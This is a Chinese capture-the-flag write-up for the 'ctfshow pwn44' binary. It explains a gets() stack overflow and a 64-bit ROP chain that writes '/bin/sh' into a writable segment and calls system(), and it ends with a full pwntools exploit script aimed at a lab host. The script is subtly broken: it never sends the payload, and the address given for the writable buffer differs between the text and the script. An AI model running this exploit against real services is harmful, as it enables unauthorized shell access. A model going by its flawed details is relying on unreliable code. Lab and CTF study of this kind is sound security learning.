ctfshow pwn44
目录
1. 分析程序
2. 利用链构造
3. POC编写
3.1. 第一种编写poc
3.2. 第二种编写poc
3.3. 两种构造方式对比
4. 漏洞验证
1. 分析程序
首先检查程序相关保护,发现程序为64位且只开启了一个NX保护
checksec pwn
使用IDA进行逆向分析代码,查看漏洞触发点:
在main函数中,有一个ctfshow函数,这里我们跟进ctfshow()
发现存在一个gets()函数,此函数写法存在漏洞,我们可以输入任意长度的字符串,进而栈溢出。这里需要达到溢出的地址为offect=0x0a+8
- 当程序执行到
gets()
时:
- 程序会阻塞等待用户输入
- 用户通过键盘(或输入重定向)输入数据
- 它可以无限读取,不会判断上限,可以包含空格,以回车结束读取。
- 输入的数据会被原样复制到
buf
指向的内存中
同样的是,程序存在一个函数hint(),且hint()函数只有system系统函数,没有了“/bin/sh”等敏感字符串,这时候我们就要想办法写入“/bin/sh”。
2. 利用链构造
和上题一样都是存在get()以及system()函数,但是没有“/bin/sh”字符串,因此需要我们进行手动输出,现在需要找到可写段位置,
先运行程序,查看程序可写段,发现在0x602000-0x603000段存在读写权限(rw),这时我们可以通过get将恶意代码写入这个地址段上,然后getshell。在此段中选取0x602000作为buf2。
64位程序与32位有所不同,具体如下:
- 当参数少于7个时, 参数从左到右放⼊寄存器: rdi, rsi, rdx, rcx, r8, r9。
- 当参数为7个以上时, 前 6 个与前⾯⼀样, 但后⾯的依次从 “右向左” 放⼊栈中,和32位汇编⼀样。
所以需要通过rdi进行传值,通过ROPgadget工具可直接进行查询,这里我们选取pop_rdi为:0x4007f3
ROPgadget --binary pwn --only "pop|ret" | grep ret
gets函数以及system函数的地址就用objdump进行查询。最后获取gets地址为:0x400530,system地址为:0x400520
objdump -d -j .plt pwn | grep "system"
objdump -d -j .plt pwn | grep "gets"
3. POC编写
3.1. 第一种编写poc
payload = b'a'*offset + p64(pop_rdi) + p64(buf2) + p64(gets) + p64(pop_rdi) + p64(buf2) + p64(system) + b'aaaa' + p64(buf2)
b'a'*offset
:
- 长度:
0xA
(10) +8
= 18字节。- 作用:填充缓冲区,覆盖局部变量等,直到覆盖到返回地址的位置。
cyclic
生成的序列(如aaaabaaacaaadaaae...
)用于在崩溃时确定精确偏移量(调试阶段常用)。这里18字节表示溢出点距离返回地址的偏移。p64(pop_rdi) + p64(buf2)
:
p64(pop_rdi)
:pop_rdi
gadget的地址。执行时,pop rdi
指令从栈中弹出一个值到RDI寄存器,然后ret
(返回)指令跳转到栈上的下一个地址。p64(buf2)
:buf2
缓冲区的地址(例如,0x601000
)。它会被pop rdi
弹出到RDI,作为后续函数的第一个参数。- 作用:设置RDI寄存器为
buf2
的地址,为调用gets
做准备。p64(gets)
:
gets
函数的地址(例如,0x7ffff7e4b100
)。- 作用:跳转到
gets
函数。由于RDI已设置为buf2
,这相当于调用gets(buf2)
,从标准输入读取用户输入并写入buf2
指向的缓冲区。gets
返回时,会从栈上读取下一个返回地址。p64(pop_rdi) + p64(buf2)
(第二次出现):
- 与第一部分相同:再次设置RDI寄存器为
buf2
的地址。- 作用:为调用
system
做准备,因为system
需要RDI存储命令字符串的地址。p64(system)
:
system
函数的地址(例如,0x7ffff7e1b2a0
)。- 作用:跳转到
system
函数。由于RDI已设置为buf2
,这相当于调用system(buf2)
,执行buf2
中的命令(如/bin/sh
)。'aaaa'
:
- 4字节的ASCII字符串(
0x61616161
)。- 作用:填充或对齐。在64位系统中,函数返回地址应为8字节,但这里只有4字节,可能导致栈不对齐。这可能是一个错误或简化写法(理想情况应为8字节填充如
b'aaaaaaaa'
)。当system
返回时,它会尝试使用这4字节和后续数据作为返回地址,但通常不重要(因为system
成功执行后不会返回)。p64(buf2)
(第三次出现):
buf2
的地址(例如,0x601000
)。- 作用:用途不明确,可能是冗余或错误。在payload末尾,它不会被
system
使用(因为参数已通过RDI传递)。可能意图是作为system
的返回地址,但由于'aaaa'
只有4字节,它会被部分覆盖,导致无效地址。
3.2. 第二种编写poc
payload=b'a'*offset + p64(pop_rdi) + p64(buf2) + p64(gets) + p64(pop_rdi) + p64(buf2) + p64(system)
b'a'*offset
- 缓冲区填充
- 作用:覆盖栈空间直到返回地址位置
offset
:通过调试确定的精确偏移量(使EIP/RIP指向返回地址)- 填充字符:任意字符,常用
cyclic
模式确定偏移- 通过调试确定的精确偏移量(使EIP/RIP指向返回地址)
p64(pop_rdi)
- 第一个gadget
- 指令:
pop rdi; ret
- 作用:从栈中弹出下一个值到RDI寄存器(x64第一个参数寄存器)
- 地址:通常来自二进制文件中的gadget(如
ROPgadget --binary vuln
)p64(buf2)
- 第一个参数
- 作用:作为
gets()
函数的参数(写入目标地址)- 要求:可写的内存地址(如.bss段)
- 示例:
0x601000
(.bss段地址)p64(gets)
- 目标函数#1
- 函数:
gets(char *s)
- 作用:从stdin读取用户输入(直到换行符)到
buf2
- 危险:不检查边界(允许写入任意数据)
- 地址:通常来自GOT/PLT(
gets@plt
)p64(pop_rdi)
- 第二个gadget
- 再次使用
pop rdi; ret
- 作用:为
system()
准备参数p64(buf2)
- 第二个参数
- 作用:作为
system()
的参数(命令字符串地址)- 关键:此时
buf2
已包含用户输入的命令p64(system)
- 目标函数#2
- 函数:
system(const char *command)
- 作用:执行
buf2
中的命令- 地址:通常来自libc或PLT(
system@plt
3.3. 两种构造方式对比
特性 | POC1 | POC2 | 关键影响分析 |
尾部结构 |
| 无尾部数据 | POC1 有冗余且潜在危险的尾部数据 |
栈布局大小 | 多出 12 字节 | 更紧凑 | POC2 payload 更小 |
system 返回处理 | 指定了返回地址(但无效) | 未指定返回地址 | 两者在成功执行时无实质区别 |
栈内存使用 | 多占用 12 字节栈空间 | 栈使用更精简 | POC2 内存效率更高 |
实际有效性 | 尾部数据可能引起崩溃 | 更简洁可靠 | POC2 是更优的实现 |
4. 漏洞验证
完整poc如下:
from pwn import *
p = remote('192.168.79.135', 10001)offset=0x0a+8
pop_rdi=0x4007f3
buf2=0x602080
gets=0x400530
ret_gadget=0x4004fe
system=0x400520payload=b'a'*offset + p64(pop_rdi) + p64(buf2) + p64(gets) + p64(pop_rdi) + p64(buf2) + p64(system)
p.interactive()
服务端启动相关程序,挂载至本地的10001端口上:sudo socat TCP4-LISTEN:10001,fork EXEC:./pwn
攻击端运行编写好的程序,可以看到获取了服务端的权限